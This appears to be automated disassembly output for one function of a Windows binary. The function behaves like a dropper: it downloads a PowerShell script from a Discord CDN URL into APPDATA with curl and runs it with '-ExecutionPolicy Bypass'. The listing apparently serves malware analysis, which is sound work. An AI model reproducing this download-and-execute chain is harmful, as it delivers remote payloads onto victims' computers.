Function at 0x1400012f0
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xd0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x4f], rax
xor ebx, ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov qword [rbp - 0x39], rbx
lea r9, [rbp - 0x39]
xor r8d, r8d
xor edx, edx
lea rcx, [0x140003330]
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
test eax, eax
js 0x140001363
mov rdx, qword [rbp - 0x39]
lea rcx, [rbp - 0x11]
call fcn.140001640
mov rcx, qword [rbp - 0x39]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
movups xmm0, xmmword [rbp - 0x11]
movups xmmword [rbp - 0x31], xmm0
movups xmm1, xmmword [rbp - 1]
movups xmmword [rbp - 0x21], xmm1
jmp 0x140001374
lea rdx, [0x140003410]
lea rcx, [rbp - 0x31]
call fcn.140001640
nop
cmp qword [rbp - 0x21], 0
jne 0x1400013a8
lea rdx, str.Failed_to_get_APPDATA_path.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140001790
mov rcx, rax
lea rdx, [0x140001970]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov ebx, 1
jmp 0x140001560
lea r8, [rbp - 0x31]
lea rdx, str.curl__https:__cdn.discordapp.com_attachments_1296099130778583053_1296099408969990316_11.ps1_ex67110e23is670fbca3hmd3bd69e1eb5b718adbbdb53d45ea5ef90b69927d99a660fea6397f8c1987bd83____output__
lea rcx, [rbp - 0x59]
call fcn.1400019b0
nop
mov rdx, rax
lea rcx, [rbp + 0x2f]
call fcn.140001b30
nop
mov rdx, qword [rbp - 0x41]
cmp rdx, 7
jbe 0x14000140d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x59]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001408
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001408
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000208c
movdqa xmm0, xmmword [0x140003690]
movdqu xmmword [rbp - 0x49], xmm0
mov word [rbp - 0x59], bx
lea rcx, [rbp + 0x2f]
call fcn.1400011c0
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r8, [rbp - 0x31]
lea rdx, str.powershell.exe__ExecutionPolicy_Bypass__File__
lea rcx, [rbp - 0x11]
call fcn.1400019b0
nop
mov rdx, rax
lea rcx, [rbp + 0xf]
call fcn.140001b30
nop
mov rdx, qword [rbp + 7]
cmp rdx, 7
jbe 0x140001497
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x11]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001492
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001492
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000208c
movdqa xmm0, xmmword [0x140003690]
movdqu xmmword [rbp - 1], xmm0
mov word [rbp - 0x11], bx
lea rcx, [rbp + 0xf]
call fcn.1400011c0
call qword [sym.imp.ole32.dll_CoUninitialize]
nop
mov rdx, qword [rbp + 0x27]
cmp rdx, 7
jbe 0x1400014fb
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xf]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400014f6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400014f6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000208c
movdqa xmm0, xmmword [0x140003690]
movdqu xmmword [rbp + 0x1f], xmm0
mov word [rbp + 0xf], bx
mov rdx, qword [rbp + 0x47]
cmp rdx, 7
jbe 0x14000154f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x2f]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000154a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000154a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000208c
movdqa xmm0, xmmword [0x140003690]
movdqu xmmword [rbp + 0x3f], xmm0
mov word [rbp + 0x2f], bx
mov rdx, qword [rbp - 0x19]
cmp rdx, 7
jbe 0x1400015a3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x31]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000159e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000159e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000208c
mov eax, ebx
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.140002030
mov rbx, qword [rsp + 0xe0]
add rsp, 0xd0
pop rbp
ret